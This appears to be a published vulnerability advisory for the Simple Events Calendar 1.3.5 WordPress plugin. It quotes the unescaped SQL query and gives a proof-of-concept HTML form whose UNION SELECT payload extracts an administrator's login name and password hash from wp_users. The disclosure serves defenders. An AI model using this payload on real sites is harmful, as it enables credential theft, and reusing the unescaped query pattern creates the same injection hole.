Simple Events Calendar 1.3.5 WordPress Plugin – Sql Injection

Homepage:

https://wordpress.org/plugins/simple-events-calendar//

Description:

  • Type user acces: administrator user.

$_POST[‘event_id’] is not escaped.

File / Code:

Path Request: /wp-content/plugins/simple-events-calendar/simple-events-calendar.php

Line :  467

$edit_event = $_POST['event_id'];
$update     = $wpdb->get_results( " SELECT * FROM $table_name WHERE id = $edit_event ", "ARRAY_A" );

Proof of Concept:

1 – Log in with administrator user.

2 – Sql Injection by POST. Example form:

<form method="post" action="http://src.wordpress-develop.dev/wp-admin/admin.php?page=simple-events">
   <input type="text" name="edit" value="1">
   <input type="text" name="event_id"
         value="0 UNION SELECT 1,2,3,CONCAT(user_login,char(58),user_pass) COLLATE utf8mb4_general_ci as user_login,5,6,7,8,9 FROM wp_users WHERE ID=1">
   <input type="submit" name="">
</form>

2 – Result:

 

Timeline:

  • 07/09/2017 – Discovered
  • 11/09/2017 – Vendor no finded
  • 03/11/2017 – Publish

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